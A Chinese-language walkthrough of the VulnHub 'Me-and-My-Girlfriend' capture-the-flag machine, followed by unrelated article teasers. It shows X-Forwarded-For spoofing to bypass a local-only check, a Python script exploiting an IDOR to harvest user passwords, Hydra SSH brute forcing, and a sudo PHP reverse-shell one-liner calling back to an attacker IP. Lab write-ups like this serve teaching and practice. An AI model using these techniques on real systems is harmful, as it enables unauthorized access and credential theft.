Me-and-My-Girlfriend靶场

news2024/10/5 20:27:21

靶机下载:

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

一、信息收集

查找ip

nmap -sP 192.168.16.0/24

获取详细端口等信息

 nmap -sV -sC -A -p 1-65535 192.168.16.209

image-20230822104814663

目录扫描

gobuster   dir -u http://192.168.16.209  -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

image-20230822104904729

二、水平越权漏洞

访问网站,提示只能使用本地服务器访问

image-20230822105023594

通过插件替换为127.0.01,在刷新访问

提示需要用x-forwarded-for头部

X-Forwarded-For(XFF)请求标头是一个事实上的用于标识通过代理服务器连接到 web 服务器的客户端的原始 IP 地址的标头。

image-20230822140446422

下载插件:modhearder

添加头部信息点击转发重新刷新页面

image-20230822140342249

web分析

image-20230822140655990

可以看到有注册框

注册账号

登录

image-20230822141116135

看到url后面有id值,尝试修改,测试有没有逻辑越权漏洞

可以看到列出了新的用户和隐藏的密码

image-20230822141316564

点击显示密码

image-20230822142033025

或者在

image-20230822142122625

测试了一下有十三个用户

编写python脚本

通过模拟 HTTP 请求来访问一个网站的不同用户的 profile 页面,并从 HTML 中提取用户名和密码信息。

#coding:utf-8 
import requests

from bs4 import BeautifulSoup
#导入所需的库:requests 用于发送 HTTP 请求,BeautifulSoup 用于解析 HTML 内容

if __name__ == '__main__':

     for user_id in range(1, 13):
        url='http://192.168.16.209/index.php?page=profile&user_id='+ str(user_id)
        response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=fu0levanb4i9koc99b0n4vlst2'})
        #构建目标URL,使用 user_id 替换为循环变量的当前值,同时提供伪造的 X-Forwarded-For 和 Cookie 头部,以模拟请求。
        dom = BeautifulSoup(response.content.decode('UTF-8'))
        #使用 BeautifulSoup 对象来提取用户名和密码,dom.find('input', id='username')['value'] 用于找到带有指定ID属性的 <input> 元素,并获取其 value 属性。 
        username = dom.find('input', id='username')['value']
        passwd = dom.find('input', id='password')['value']
        
        if username:
            print(username + ":" + passwd)

image-20230822150134154

最后得到:

eweuhtandingan:skuyatuh
aingmaung:qwerty!!!
sundatea:indONEsia
sedihaingmah:cedihhihihi
alice:4lic3
abdikasepak:dorrrrr
a:a

冒号分割格式可以用于hrdra爆破密码,保存为一个文件使用hydra尝试

image-20230822151145490

三、ssh爆破

工具hydra

hydra -C 1.txt ssh://192.168.16.209 

 -C FILE   用冒号分隔的 "login:pass" 格式,代替 -L/-P 选项

得到可以账号:alice,密码:4lic3

image-20230822152009957

登录

 ssh alice@192.168.16.209

image-20230822152233679

得到第一个flag

image-20230822152535670

四、提权

查看当前用户的管理员权限

sudo -l

image-20230822154422938

(root) NOPASSWD: /usr/bin/php

这意味着拥有此权限的用户(在此为 root 用户)可以在不输入密码的情况下执行 /usr/bin/php 命令,以 root 权限运行 PHP 解释器。

可以使用php反弹shell

执行:

sudo  php -r '$sock=fsockopen("192.168.16.180",8888);exec("/bin/sh -i <&3 >&3 2>&3");'


加上sudo执行,反弹的就是管理员用户了

image-20230822155224169

反弹成功

得到第二个flag

image-20230822155334067

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/913605.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无脑入门pytorch系列(五)—— nn.Dropout

本系列教程适用于没有任何pytorch的同学&#xff08;简单的python语法还是要的&#xff09;&#xff0c;从代码的表层出发挖掘代码的深层含义&#xff0c;理解具体的意思和内涵。pytorch的很多函数看着非常简单&#xff0c;但是其中包含了很多内容&#xff0c;不了解其中的意思…

Seaborn数据可视化(三)

1.绘制直方图 使用displot()绘制直方图。 import seaborn as sns import numpy as np import matplotlib.pyplot as plt# 生成随机数据 np.random.seed(0) data np.random.randn(1000)# 使用displot绘制直方图 sns.displot(data, bins10, kdeTrue)# 展示图形 plt.show() 结…

山西电力市场日前价格预测【2023-08-23】

日前价格预测 预测明日&#xff08;2023-08-23&#xff09;山西电力市场全天平均日前电价为327.31元/MWh。其中&#xff0c;最高日前电价为363.47元/MWh&#xff0c;预计出现在19: 45。最低日前电价为283.86元/MWh&#xff0c;预计出现在03: 30。 价差方向预测 1&#xff1a; 实…

mysql Left Join on条件 where条件的用法区别

数据准备 SELECT t1.id,t1.name,t2.local FROM t1 LEFT JOIN t2 ON t1.idt2.id; 执行结果 SELECT t1.id,t1.name,t2.local FROM t1 LEFT JOIN t2 ON t1.idt2.id and t2.localbeijing; SELECT t1.id,t1.name,t2.local FROM t1 LEFT JOIN t2 ON t1.idt2.id where t2.localbeijing…

微服务之光:探索代码质量的新维度

在当今的软件开发领域&#xff0c;微服务架构已经成为了一种主流的设计模式。但随着其带来的灵活性和可扩展性&#xff0c;也带来了一系列的挑战&#xff0c;尤其是在代码质量管理方面。本文将深入探讨如何在微服务架构中确保代码的质量&#xff0c;并提供一些实践策略和工具。…

Docker容器与虚拟化技术:Docker consul 实现服务注册与发现

目录 一、理论 1.Docker consul 二、实验 1.consul部署 2. consul-template部署 三、总结 一、理论 1.Docker consul &#xff08;1&#xff09;服务注册与发现 服务注册与发现是微服务架构中不可或缺的重要组件。起初服务都是单节点的&#xff0c;不保障高可用性&…

系统架构设计师之缓存技术:Redis与Memcache能力比较

系统架构设计师之缓存技术&#xff1a;Redis与Memcache能力比较

中国算力大会丨看看中兴新支点国产系统如何提升算力

近日&#xff0c;由工业和信息化部、宁夏回族自治区人民政府共同主办的2023中国算力&#xff08;基础设施&#xff09;大会在宁夏银川拉开帷幕&#xff0c;为期三天的“算力中国”创新成果展精彩亮相。中兴新支点国产操作系统的亮相&#xff0c;引起现场众多嘉宾前来了解。 “中…

Android类加载机制

要说Android的类加载机制 &#xff0c;就离不开 类加载器ClassLoader&#xff0c;它是一个抽象接口 下面这个图还是比较好表达了类加载流程&#xff0c;但如果不看我红色画的线&#xff0c;就会感觉有点乱&#xff0c;需要注意是采用的是双亲委派模式&#xff0c;class加载要先…

​Softing dataFEED OPC Suite——助力数字孪生技术发展

一 行业概览 数字孪生技术是充分利用物理模型、传感器更新、运行历史等数据&#xff0c;集成多学科、多物理量、多尺度、多概率的仿真过程&#xff0c;在虚拟空间中完成映射&#xff0c;从而反映相对应的实体装备的全生命周期过程。数字孪生技术已经应用在众多领域&#xff1a…

[C++] string类常用接口的模拟实现

文章目录 1、前言2、遍历2.1 operator[ ]下标方式2.2 迭代器2.3 范围for2.4 c_str 3、容量相关3.1 size&#xff08;大小&#xff09;3.2 capacity&#xff08;容量&#xff09;3.3 empty&#xff08;判空&#xff09;3.4 clear&#xff08;清理&#xff09;3.5 reserve3.6 res…

ZooKeeper各服务器角色介绍

1 Leader Leader服务器是整个ZooKeeper集群工作机制中的核心&#xff0c;其主要工作有以下两个。 事务请求的唯一调度和处理者&#xff0c;保证集群事务处理的顺序性。 集群内部各服务器的调度者。 请求处理链 使用责任链模式来处理每一个客户端请求是ZooKeeper的一大特色。…

如何制作gif动态图片?多图片转gif的简单方法

看到网上各种各样的表情包&#xff0c;自己也想试试&#xff0c;怎么将多张图片进行gif合成&#xff08;https://www.gif.cn&#xff09;呢&#xff1f;可以在线生成gif动图的方法&#xff0c;打开浏览器就可以完成gif图片制作&#xff0c;下面是具体步骤。 打开网站&#xff…

亿发智能制造MES系统-实现互联网时代下贵州制造业全流程高效生产

在工业4.0和智能制造的推动下&#xff0c;贵州省制造类企业对于MES系统的建设需求逐年增长&#xff0c;日益认识到智能制造MES系统的重要性。不单是行业的助推器&#xff0c;更是企业走向智能化制造的重要环机。选择适合企业特点的智能制造MES系统&#xff0c;助力贵州省制造业…

Spring6.0官方文档示例:(28)多种方式添加BeanPostProcessor

一、定义三个BeanPostProcessor package cn.edu.pku;import org.springframework.beans.BeansException; import org.springframework.beans.factory.config.BeanPostProcessor; import org.springframework.stereotype.Component;Component public class MyScannedBeanPostPr…

RHCE——五、Web服务器及内网穿透(实验篇)

Web服务器篇 一、快速搭建网站二、更改网页启动目录三、内网穿透1、准备工作2、搭建网站3、测试&#xff1a;浏览器中输入ip进行测试4、使用花生壳进行内网穿透4.1 注册并登陆4.2 点击添加映射4.3 Linux安装花生壳客户端 5、注意 四、搭建具有身份验证功能网站1、准备工作2、编…

发票的种类

目录 增值税专用发票 增值税普通发票 增值税电子普通发票 机打式发票 定额发票 机动车销售统一发票 增值税专用发票 填写增值税发票时&#xff0c;单位全称、纳税人识别号、统一信用代码必填项且正确无误。专票必须填写&#xff0c;普票可不填写&#xff0c;若填写则必须…

CNN-LSTM选A股牛股(代码+数据+一键可运行)

在当前金融市场中&#xff0c;投资者对于高效的股票推荐系统需求不断增加。为了满足这一需求&#xff0c;我们开发了一款基于人工智能的牛股推荐器V1.0&#xff0c;其技术路线和方法在本文中将得到详细阐述。 全代码和数据关注公众号《三个篱笆三个班》免费提供&#xff01;一…

CentOS7安装Oracle11g 11.2.0.4

一、安装环境 CentOS Linux release 7.2.1511 (Core) Oracle Database 11g Release 2 (11.2.0.4) 二、安装前准备 2.1 修改主机名 修改/etc/sysconfig/network配置文件中的HOSTNAME变量 [rootxqzt ~]# hostnamectl set-hostname oracledb####永久性修改[rootxqzt ~]#vi /etc/sy…

茶叶病害识别(Python代码,pyTorch框架,深度卷积网络模型,很容易替换为其它模型,带有GUI识别界面)

代码运行要求&#xff1a;Torch库>1.13.1即可 1.茶叶病害数据集(7类病害和1种正常) 1.茶叶病害数据集介绍(这个茶病数据集包含茶叶&#xff0c;显示了茶的7种常见疾病&#xff1a; 红叶斑 藻类叶斑 bird eye spot&#xff1b; 灰枯病&#xff1b; 白点&#xff1b; 炭…